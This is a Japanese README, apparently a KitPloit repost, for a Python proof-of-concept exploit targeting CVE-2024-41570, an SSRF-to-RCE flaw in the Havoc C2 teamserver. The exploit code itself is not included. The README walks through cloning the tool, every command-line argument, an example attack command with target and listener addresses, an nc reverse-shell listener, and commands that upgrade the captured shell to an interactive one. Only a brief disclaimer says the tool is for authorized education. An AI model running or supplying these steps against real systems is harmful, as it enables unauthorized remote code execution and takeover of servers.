CVE-2024-41570 | Havoc C2 SSRF with RCE | WebSocketを介した自動リバースシェルエクスプロイト

このプロジェクトは、脆弱なWebSocketベースのサービスを悪用するためのPythonベースの概念実証（PoC）スクリプトを提供します。スクリプトは、エージェント登録、WebSocketペイロード配信、およびリバースシェルを確立するためのリモートコマンド実行を自動化します。

特徴

• ターゲットサービスにエージェントを登録します。
• WebSocketを開き、ハンドシェイクと認証ペイロードを送信します。
• リバースシェルを介してリモートでコマンドを実行します。
• 明確な指示を含むガイド付きワークフローを提供します。

前提条件

• マシンにPython 3.xがインストールされていること。
• 必要な依存関係をインストールするには、以下を実行します：
  root@kitploit:~

  pip install -r requirements.txt
  

インストール

1. このリポジトリをクローンします：
   root@kitploit:~

   git clone https://github.com/kit4py/CVE-2024-41570.git
   

2. プロジェクトディレクトリに移動します：
   root@kitploit:~

   cd CVE-2024-41570
   

3. 依存関係をインストールします：
   root@kitploit:~

   pip install -r requirements.txt
   

使い方

必要な引数を指定してスクリプトを実行します：

python3 exploit.py -t <target_url> -i <teamserver_ip> -p <teamserver_port> -U <username> -P <password> -l <listener_ip> -L <listener_port>

引数

• -t: WebSocketサーバーのターゲットURL。
• -i: HavocのTeam ServerのIPアドレス。
• -p: HavocのTeam Serverのポート。
• -U: WebSocket認証のユーザー名。
• -P: WebSocket認証のパスワード。
• -l: リバースシェルのリスナーIP（あなたのマシン）。
• -L: リバースシェルのリスナーポート（あなたのマシン）。

コマンド例

python3 exploit.py -t http://example.com -i 127.0.0.1 -p 40056 -U 'havocuser' -P 'password123' -l 192.168.1.2 -L 4444

実行手順

1. ターゲットサービスが実行中であり、脆弱であることを確認してください。
2. 必要なパラメータを指定してスクリプトを実行します。
3. 別のターミナルでリスナーを起動します：
   root@kitploit:~

   nc -lvnp <listener_port>
   

4. シェルをアップグレード：
   root@kitploit:~

   python -c 'import pty; pty.spawn("/bin/bash")' 
   export TERM=xterm-256color
   stty rows 67 columns 318
   

依存関係

スクリプトには以下のPythonライブラリが必要です：

• requests
• pycryptodome

以下のコマンドでインストールします：

pip install -r requirements.txt

セキュリティ通知

このスクリプトは教育目的のみを意図しています。対象システムをテストするには明示的な許可があることを確認してください。このスクリプトの誤用は法律や倫理ガイドラインに違反する可能性があります。

参考

参考元： Default Havoc Poc

コントリビューション

コントリビューションを歓迎します！リポジトリをフォークしてプルリクエストを送信してください。

ライセンス

このプロジェクトはMITライセンスの下でライセンスされています。詳細はLICENSEファイルを参照してください。